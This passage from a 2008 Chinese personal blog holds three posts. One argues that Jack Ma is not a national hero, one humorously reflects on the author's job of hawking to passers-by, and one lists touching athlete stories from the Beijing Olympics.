            笔者不是一个强烈的民族主义者,也绝非愤青,也承认马云个人的事业成功。但马云绝非民族英雄,也绝非真正意义上的创业成功者。一个不能完全掌握自己公司命运的人,一个对自己公司没有绝对掌控权力的人,那家公司就不能说是他的公司。

             时下的世界,越来越像一个大家庭,不分彼此。然而,当国家的界线没有消除时,当出国还需办理签证时,当你在国外还不能享受与当地国人一样平等的权利时,民族国家的意识就不能被遗忘。我们希望自己的国家强大,我们希望一代代的民族英雄引领人民走向富强,但是,马云显然不是这样的英雄。

            如果微软真的收购了雅虎,对于马云而言,只是换个美国老板而已;然而,对于中国那些马云粉丝而言,却是极大的讽刺。马云原来只是一家美国公司的高管而已,仅此而已!!

  • "吆喝"---我当下的工作

    2008-09-02 20:18:27

           终于在经历N次内心的挣扎后,慢慢适应了这种生活,成为了“站街”一族。

            晕死,别理解错了,我辈可不是那夜色里打着伞,站马路边那种。其一,我性别是男的;其二,我长得不帅。

             我的工作是从吆喝开始的。吆喝是很有技巧的,这也是我最近才研究出来的。当不同人的从你眼前走来或走过时,你的吆喝声应该不同,这里面涉及到商业机密,不便细说。至于,吆喝的内容,当然是极精简,极通俗易懂为宜。我吆喝的内容,同样涉及商业机密,也不便透露。在一声声吆喝声中,可以将自己完全融入到人群中,融入到生活里,也与整个世界融为一体。就这样,把你的存在,你的声音,向所有人展示出来,也是向整个世界作出了某种宣告。

              我依稀记得,我们村里以前有户极贫困的人家,那家主人就是从“吆喝”声中,学会做生意,学会养活了一家六口人,学会生存于这个世间上。他每天骑着自行车,每到一个村子,就放开嗓子大声吆喝,准确的说像是大声“唱歌”。不错,他是把他吆喝的内容大声的唱出来的,而且还很有节奏感呢!同村人,做这门生意的人比较多,但惟有他,生意每天做得是最好的。于是,他家盖了新房子,给儿子娶了媳妇,日子过得有模有样。他是个了不起的人,他成了我们村里治富的典范。我想,他的创业经历,也应该可以作为MBA教程吧。

               的确,古往今来,中国式的小生意人,多半都挺会使用“吆喝”这一技术的,有的更是用得出神入化。很多民间小调,也是从吆喝声里发展出来的。当然,这些是交给民歌收藏家去研究的。

                我眼下的工作,也是吆喝,我在吆喝声中,体悟着人生,体悟着生存,体悟着生命的存在,体悟着“当下”。人一出生,就用哭声“吆喝”着,向世界宣示自己的到来。死人是不会吆喝的,将死之人也是不会吆喝的。

            活着,就该每天“吆喝”的活着。

          

  • 北京奥运会上十大震撼世界的运动员

    2008-08-24 18:58:49

    13日是帕蒂卡在本届奥运会的首次高调“出镜”,她代表波兰队与中国香港队进行女团小组赛的第一轮比赛,虽然最终以微弱分差惜败。但比赛中,这位独臂女侠还是赢得了全场的尊敬和掌声。

    8月19日,和德国运动员马蒂亚斯·施泰纳一同出现在最高领奖台上的还有他美丽妻子苏姗的照片。照片中,他去世的妻子甜美地笑着,而施泰纳却哭了。这位男子举重105公斤以上级的冠军要把这枚北京奥运会最“重”的金牌献给亡妻。

    8月11日,代表加拿大队的华裔剑客栾菊杰在赛后打出“祖国好”的布幅时,无数人为之感动。

    苏丽文在对韩国林秀贞就伤了左膝韧带,原本得放弃比赛,但赛前,她承诺父亲:“我拚金牌、老爸拚健康。”输了首战,跟金牌无缘,心中还是想着这个承诺。

    母爱的力量有多大?丘索维金娜可以告诉你,当33岁的她在体操场上拿到一枚跳马银牌的时候,她幸福地说:“我为自己得到这枚银牌而自豪,而我会将这枚银牌带回家,送给我的儿子。”

    20日当一位只有一条腿的选手出现在北京奥运会女子10公里马拉松游泳比赛中时,观众再次感受到奥林匹克精神的伟大——她就是南非残疾人选手纳塔莉·杜托伊特。

    穿越战火穿着二手货只为参与奥运会的伊拉克运动员。

    这不是一个人物,而是个队伍,是个团体,他们夺不了金牌,但他们历经千辛万苦,他们没有缺席,他们来了。

    8月16日,当裹着头巾、身着运动短袖T恤、运动长裤的阿富汗短跑选手罗比娜·穆基亚尔努力冲过100米跑道的终点时,整个"鸟巢"为这个顽强的小姑娘响起了热烈的掌声。

    做了心脏移植依然在赛场顽强拼搏的日本垒球冠军选手西山丽

    从雅典到北京,这一枪原本能击碎四年的噩梦,这一枪原本能成就一对奥运金牌夫妻,这一枪原本能写下一个童话般的结局。但历史总有惊人的相似之处。和四年前一样,卡捷琳娜坐在看台上给捷克电视台当解说嘉宾;马特站在男子50米步枪三姿的决赛2号靶位上;4.4的数字出现在显示屏上,冰冻了卡捷琳娜的脸,她张着嘴巴,眼睛一眨不眨,愣了好几秒钟,然后冲下看台,把丈夫拥入怀里,在他耳边轻轻地说:“命中注定还不是时候。”